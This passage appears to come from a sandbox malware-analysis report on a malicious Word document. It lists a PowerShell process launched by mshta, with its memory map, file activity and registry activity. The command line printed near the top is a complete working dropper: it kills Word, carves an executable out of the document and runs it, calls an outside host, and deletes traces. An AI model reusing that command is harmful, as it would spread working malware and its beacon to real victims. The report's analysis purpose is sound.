Operation	Filename	Additional Information	Count	Logfile
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 20, data_out = 20	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInset, default_value = 11, data_out = 11	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollDelay, default_value = 50, data_out = 50	1	Fn
Read	Win.ini	section_name = windows, key_name = DragDelay, default_value = 200, data_out = 200	1	Fn
Read	Win.ini	section_name = windows, key_name = DragScrollInterval, default_value = 50, data_out = 50	1	Fn

Process #8: powershell.exe

(Host: 545, Network: 0)

Information	Value
ID	#8
File Name	c:\windows\system32\windowspowershell\v1.0\powershell.exe
Command Line	"C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.Exe" -WindowStyle Hidden Try{$ada="""$env:APPDATA\result.exe""";$adax=$ada+'x';$f=[System.IO.File]::Create($adax);$tmf="""$env:TEMP\o.tmp""";taskkill /f /im winword.exe;Function pr{Try{$k="""HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency\StartupItems\""";for ($i = 0; $i -lt 10; $i++){$r=[System.Text.Encoding]::Unicode.GetString((gp $k).((gi $k).Property[$i]));if ($r.Contains('.doc')){$i=10;}}$r=$r.Substring($r.indexOf(':\')-1);$r=$r.Substring(0, $r.IndexOf('.doc')+4);ri -Path """HKCU:\Software\Microsoft\Office\$wv\Word\Resiliency""" -recurse;cp -Path $r -Destination $tmf;$d = (gc $tmf -ReadCount 0 -encoding byte)[985480..1011591];Start-Sleep -s 1;sc $r -encoding byte -Value $d;start winword """$r""";$f = (gc $tmf -ReadCount 0 -encoding byte)[420737..985472];sc $ada -encoding byte -Value $f;& $ada;$wc = New-Object system.Net.WebClient;$ht=$wc.downloadString('http://www.samyrai777m.p-host.in/t/t.php?act=hit');$cd=(Resolve-Path .\).Path;ri """$cd\""" -include http.pdb, http.dll, .cs;}Catch{}};$wv='12.0';pr;$wv='14.0';pr;$wv='15.0';pr;$wv='16.0';pr;Stop-Process -processname powershell;}Catch{exit;}
Initial Working Directory	C:\Users\aETAdzjz\Desktop\
Monitor	Start Time: 00:01:07, Reason: Child Process
Unmonitor	End Time: 00:02:36, Reason: Terminated by Timeout
Monitor Duration	00:01:29

OS Process Information

Information	Value
PID	0x664
Parent PID	0xbc8 (c:\windows\system32\mshta.exe)
Is Created or Modified Executable
Integrity Level	Medium
Username	YKYD69Q\aETAdzjz
Groups	YKYD69Q\Domain Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) Everyone (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) BUILTIN\Administrators (USE_FOR_DENY_ONLY) BUILTIN\Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\INTERACTIVE (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) CONSOLE LOGON (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Authenticated Users (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\This Organization (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\Logon Session 00000000:00010989 (MANDATORY, ENABLED_BY_DEFAULT, ENABLED, LOGON_ID) LOCAL (MANDATORY, ENABLED_BY_DEFAULT, ENABLED) NT AUTHORITY\NTLM Authentication (MANDATORY, ENABLED_BY_DEFAULT, ENABLED)
Enabled Privileges	SeChangeNotifyPrivilege
Thread IDs	0x 768 0x 610 0x A18 0x A08 0x 99C 0x 998 0x 94C

Region

Name	Start VA	End VA	Type	Permissions	Actions
private_0x0000000000010000	0x00010000	0x0002ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000010000	0x00010000	0x0001ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000020000	0x00020000	0x0002ffff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x0000000000030000	0x00030000	0x00033fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000040000	0x00040000	0x00040fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000050000	0x00050000	0x00056fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000060000	0x00060000	0x00061fff	Pagefile Backed Memory	Readable, Writable	Region Actions
powershell.exe.mui	0x00070000	0x00072fff	Memory Mapped File	Readable, Writable	Region Actions
private_0x0000000000080000	0x00080000	0x00080fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000090000	0x00090000	0x0010ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000000110000	0x00110000	0x00110fff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000000120000	0x00120000	0x00120fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000130000	0x00130000	0x00130fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000140000	0x00140000	0x00141fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000000150000	0x00150000	0x0024ffff	Private Memory	Readable, Writable	Region Actions Download Dump
locale.nls	0x00250000	0x002b6fff	Memory Mapped File	Readable	Region Actions
private_0x00000000002c0000	0x002c0000	0x003bffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000003c0000	0x003c0000	0x003c0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
pagefile_0x00000000003d0000	0x003d0000	0x003d1fff	Pagefile Backed Memory	Readable	Region Actions
cversions.2.db	0x003e0000	0x003e3fff	Memory Mapped File	Readable	Region Actions
private_0x00000000003f0000	0x003f0000	0x003fffff	Private Memory	Readable, Writable	Region Actions Download Dump
{afbf9f1a-8ee8-4c77-af34-c647e37ca0d9}.1.ver0x0000000000000011.db	0x00400000	0x0041efff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000420000	0x00420000	0x00420fff	Pagefile Backed Memory	Readable, Writable	Region Actions
{6af0698e-d558-4f6e-9b3c-3716689af493}.2.ver0x0000000000000018.db	0x00430000	0x0045ffff	Memory Mapped File	Readable	Region Actions
cversions.2.db	0x00460000	0x00463fff	Memory Mapped File	Readable	Region Actions
pagefile_0x0000000000470000	0x00470000	0x00470fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000480000	0x00480000	0x00482fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000000490000	0x00490000	0x0049ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000004a0000	0x004a0000	0x00627fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x0000000000630000	0x00630000	0x007b0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000007c0000	0x007c0000	0x01bbffff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000001bc0000	0x01bc0000	0x01cbffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000001cc0000	0x01cc0000	0x01cc0fff	Pagefile Backed Memory	Readable, Writable	Region Actions
private_0x0000000001cd0000	0x01cd0000	0x01cdffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000001ce0000	0x01ce0000	0x01cfffff	Private Memory	-	Region Actions Download Dump
private_0x0000000001d00000	0x01d00000	0x01d7ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
pagefile_0x0000000001d80000	0x01d80000	0x01e5efff	Pagefile Backed Memory	Readable	Region Actions
{ddf571f2-be98-426d-8288-1a9a39c3fda2}.2.ver0x0000000000000002.db	0x01e60000	0x01ec5fff	Memory Mapped File	Readable	Region Actions
private_0x0000000001ed0000	0x01ed0000	0x01f4ffff	Private Memory	Readable, Writable	Region Actions Download Dump
sortdefault.nls	0x01f50000	0x0221efff	Memory Mapped File	Readable	Region Actions
l_intl.nls	0x02220000	0x02222fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002230000	0x02230000	0x02230fff	Private Memory	Readable, Writable	Region Actions Download Dump
sorttbls.nlp	0x02240000	0x02244fff	Memory Mapped File	Readable	Region Actions
microsoft.wsman.runtime.dll	0x02250000	0x02257fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x0000000002260000	0x02260000	0x022dffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x00000000022e0000	0x022e0000	0x022e0fff	Pagefile Backed Memory	Readable	Region Actions
pagefile_0x00000000022f0000	0x022f0000	0x022f0fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002300000	0x02300000	0x0237ffff	Private Memory	Readable, Writable	Region Actions Download Dump
pagefile_0x0000000002380000	0x02380000	0x02772fff	Pagefile Backed Memory	Readable	Region Actions
sortkey.nlp	0x02780000	0x027c0fff	Memory Mapped File	Readable	Region Actions
private_0x00000000027e0000	0x027e0000	0x0285ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
pagefile_0x0000000002860000	0x02860000	0x02870fff	Pagefile Backed Memory	Readable	Region Actions
private_0x0000000002880000	0x02880000	0x028fffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002920000	0x02920000	0x0299ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x00000000029a0000	0x029a0000	0x02a9ffff	Private Memory	Readable, Writable	Region Actions Download Dump
mscorrc.dll	0x02aa0000	0x02af3fff	Memory Mapped File	Readable	Region Actions
private_0x0000000002b20000	0x02b20000	0x02b2ffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002b70000	0x02b70000	0x02beffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x0000000002bf0000	0x02bf0000	0x1abeffff	Private Memory	Readable, Writable	Region Actions
private_0x000000001abf0000	0x1abf0000	0x1b2bffff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000000001b2c0000	0x1b2c0000	0x1b3c0fff	Private Memory	Readable, Writable	Region Actions Download Dump
system.management.automation.dll	0x1b3d0000	0x1b6b1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll.mui	0x1b6c0000	0x1b77ffff	Memory Mapped File	Readable, Writable	Region Actions
private_0x000000001b780000	0x1b780000	0x1b87ffff	Private Memory	Readable, Writable	Region Actions Download Dump
system.transactions.dll	0x1e230000	0x1e278fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcr80.dll	0x75360000	0x75428fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
user32.dll	0x775e0000	0x776d9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernel32.dll	0x776e0000	0x777fefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntdll.dll	0x77800000	0x779a8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
psapi.dll	0x779d0000	0x779d6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000000007efe0000	0x7efe0000	0x7ffdffff	Private Memory	Readable	Region Actions
pagefile_0x000000007efe0000	0x7efe0000	0x7f0dffff	Pagefile Backed Memory	Readable	Region Actions
private_0x000000007f0e0000	0x7f0e0000	0x7ffdffff	Private Memory	Readable	Region Actions
private_0x000000007ffe0000	0x7ffe0000	0x7ffeffff	Private Memory	Readable	Region Actions Download Dump
powershell.exe	0x13f630000	0x13f6a6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
culture.dll	0x642ff4a0000	0x642ff4a9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.directoryservices.ni.dll	0x7fede4e0000	0x7fede674fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.ni.dll	0x7fede680000	0x7fede7ebfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.security.ni.dll	0x7fedea50000	0x7fedea8dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.management.ni.dll	0x7fedeb40000	0x7fedec57fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.utility.ni.dll	0x7fedec60000	0x7fedee75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.transactions.ni.dll	0x7fedee80000	0x7fedef64fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.wsman.management.ni.dll	0x7fedef70000	0x7fedf019fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.configuration.install.ni.dll	0x7fedf020000	0x7fedf051fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.commands.diagnostics.ni.dll	0x7fedf060000	0x7fedf0c8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.core.ni.dll	0x7fedf0d0000	0x7fedf3fdfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.management.automation.ni.dll	0x7fedf470000	0x7fedffccfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
microsoft.powershell.consolehost.ni.dll	0x7fee0230000	0x7fee02e1fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.xml.ni.dll	0x7fee1530000	0x7fee1bd4fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
system.ni.dll	0x7fee1fc0000	0x7fee29e2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorlib.ni.dll	0x7fee29f0000	0x7fee38cbfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscorwks.dll	0x7fee38d0000	0x7fee426cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoreei.dll	0x7fef13f0000	0x7fef1488fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
mscoree.dll	0x7fef1910000	0x7fef197efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shfolder.dll	0x7fef1ae0000	0x7fef1ae6fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
linkinfo.dll	0x7fef6190000	0x7fef619bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shdocvw.dll	0x7fef61a0000	0x7fef61d3fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntshrui.dll	0x7fef7b70000	0x7fef7beffff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cscapi.dll	0x7fef7bf0000	0x7fef7bfefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apphelp.dll	0x7fef91c0000	0x7fef9216fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
uxtheme.dll	0x7fefb560000	0x7fefb5b5fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
slc.dll	0x7fefbee0000	0x7fefbeeafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
atl.dll	0x7fefbf10000	0x7fefbf28fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
comctl32.dll	0x7fefc060000	0x7fefc253fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
propsys.dll	0x7fefc4e0000	0x7fefc60bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ntmarta.dll	0x7fefc740000	0x7fefc76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
version.dll	0x7fefc910000	0x7fefc91bfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
userenv.dll	0x7fefcaf0000	0x7fefcb0dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rsaenh.dll	0x7fefcd40000	0x7fefcd86fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptsp.dll	0x7fefd040000	0x7fefd056fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
srvcli.dll	0x7fefd540000	0x7fefd562fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cryptbase.dll	0x7fefd640000	0x7fefd64efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
profapi.dll	0x7fefd750000	0x7fefd75efff	Memory Mapped File	Readable, Writable, Executable	Region Actions
devobj.dll	0x7fefd9b0000	0x7fefd9c9fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
kernelbase.dll	0x7fefd9d0000	0x7fefda3afff	Memory Mapped File	Readable, Writable, Executable	Region Actions
cfgmgr32.dll	0x7fefda40000	0x7fefda75fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
imm32.dll	0x7fefdb40000	0x7fefdb6dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
setupapi.dll	0x7fefdb70000	0x7fefdd46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msvcrt.dll	0x7fefdd50000	0x7fefddeefff	Memory Mapped File	Readable, Writable, Executable	Region Actions
oleaut32.dll	0x7fefde70000	0x7fefdf46fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
lpk.dll	0x7fefdf50000	0x7fefdf5dfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
ole32.dll	0x7fefe1c0000	0x7fefe3c2fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
clbcatq.dll	0x7fefe550000	0x7fefe5e8fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
rpcrt4.dll	0x7fefe640000	0x7fefe76cfff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shlwapi.dll	0x7fefe770000	0x7fefe7e0fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
wldap32.dll	0x7fefe7f0000	0x7fefe841fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
shell32.dll	0x7fefe850000	0x7feff5d7fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
msctf.dll	0x7feff710000	0x7feff818fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
sechost.dll	0x7feff8c0000	0x7feff8defff	Memory Mapped File	Readable, Writable, Executable	Region Actions
advapi32.dll	0x7feff8e0000	0x7feff9bafff	Memory Mapped File	Readable, Writable, Executable	Region Actions
gdi32.dll	0x7feff9d0000	0x7feffa36fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
usp10.dll	0x7feffa40000	0x7feffb08fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
apisetschema.dll	0x7feffb20000	0x7feffb20fff	Memory Mapped File	Readable, Writable, Executable	Region Actions
private_0x000007ff00020000	0x7ff00020000	0x7ff0002ffff	Private Memory	-	Region Actions
private_0x000007ff00030000	0x7ff00030000	0x7ff0003ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00040000	0x7ff00040000	0x7ff000dffff	Private Memory	-	Region Actions
private_0x000007ff000e0000	0x7ff000e0000	0x7ff000effff	Private Memory	-	Region Actions Download Dump
private_0x000007ff000f0000	0x7ff000f0000	0x7ff0015ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00160000	0x7ff00160000	0x7ff0016ffff	Private Memory	-	Region Actions Download Dump
private_0x000007ff00170000	0x7ff00170000	0x7ff0017ffff	Private Memory	-	Region Actions Download Dump
private_0x000007fffff10000	0x7fffff10000	0x7fffff1ffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
private_0x000007fffff20000	0x7fffff20000	0x7fffffaffff	Private Memory	Readable, Writable, Executable	Region Actions Download Dump
pagefile_0x000007fffffb0000	0x7fffffb0000	0x7fffffd2fff	Pagefile Backed Memory	Readable	Region Actions
private_0x000007fffffd3000	0x7fffffd3000	0x7fffffd4fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd5000	0x7fffffd5000	0x7fffffd6fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd7000	0x7fffffd7000	0x7fffffd8fff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffd9000	0x7fffffd9000	0x7fffffdafff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdb000	0x7fffffdb000	0x7fffffdcfff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdd000	0x7fffffdd000	0x7fffffdefff	Private Memory	Readable, Writable	Region Actions Download Dump
private_0x000007fffffdf000	0x7fffffdf000	0x7fffffdffff	Private Memory	Readable, Writable	Region Actions Download Dump
For performance reasons, the remaining 36 entries are omitted. The remaining entries can be found in flog.txt.

Host Behavior

File (213)

Operation	Filename	Additional Information	Count	Logfile
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	CONOUT$	desired_access = GENERIC_WRITE, GENERIC_READ, share_mode = FILE_SHARE_WRITE	1	Fn
Create	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	desired_access = GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL, FILE_FLAG_SEQUENTIAL_SCAN, share_mode = FILE_SHARE_READ	1	Fn
Create	C:\Users\aETAdzjz\AppData\Roaming\result.exex	desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_FLAG_OPEN_NO_RECALL	1	Fn
Get Info	C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll	type = file_attributes	2	Fn
Get Info	C:\Windows\SYSteM32\windowspOweRSHeLL\V1.0\PoWErSHELL.config	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\GetEvent.types.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\types.ps1xml	type = file_attributes	2	Fn
Get Info	-	type = file_type	4	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Diagnostics.Format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Certificate.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\DotNetTypes.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\FileSystem.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Help.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellCore.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\PowerShellTrace.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Registry.format.ps1xml	type = file_attributes	2	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	type = file_type	9	Fn
Get Info	C:\Users\aETAdzjz	type = file_attributes	5	Fn
Get Info	C:\	type = file_attributes	6	Fn
Get Info	C:\Users\aETAdzjz\Desktop	type = file_attributes	7	Fn
Get Info	C:\Users	type = file_attributes	4	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Windows\System32\WindowsPowerShell\v1.0\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\profile.ps1	type = file_attributes	1	Fn
Get Info	C:\Users\aETAdzjz\Documents\WindowsPowerShell\Microsoft.PowerShell_profile.ps1	type = file_attributes	1	Fn
Open	STD_INPUT_HANDLE	-	1	Fn
Read	-	size = 4096, size_out = 4096	50	Fn Data
Read	-	size = 4096, size_out = 3315	1	Fn Data
Read	-	size = 781, size_out = 0	1	Fn
Read	-	size = 4096, size_out = 0	3	Fn
Read	-	size = 4096, size_out = 436	1	Fn Data
Read	-	size = 4096, size_out = 2530	1	Fn Data
Read	-	size = 542, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4096	73	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 4018	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 78, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 0	4	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 2762	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 310, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 3022	1	Fn Data
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 50, size_out = 0	1	Fn
Read	C:\Windows\System32\WindowsPowerShell\v1.0\WSMan.format.ps1xml	size = 4096, size_out = 281	1	Fn Data

Registry (188)

Operation	Key	Additional Information	Count	Logfile
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\Environment	-	1	Fn
Open Key	HKEY_CURRENT_USER\Environment	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	2	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\Software\Microsoft\PowerShell\1\PowerShellEngine	-	9	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WSMAN	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Security	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System\PowerShell	-	4	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Media Center	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\OAlerts	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\System	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Windows PowerShell\PowerShell	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Application	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\HardwareEvents	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Internet Explorer	-	1	Fn
Open Key	HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EventLog\Key Management Service	-	1	Fn
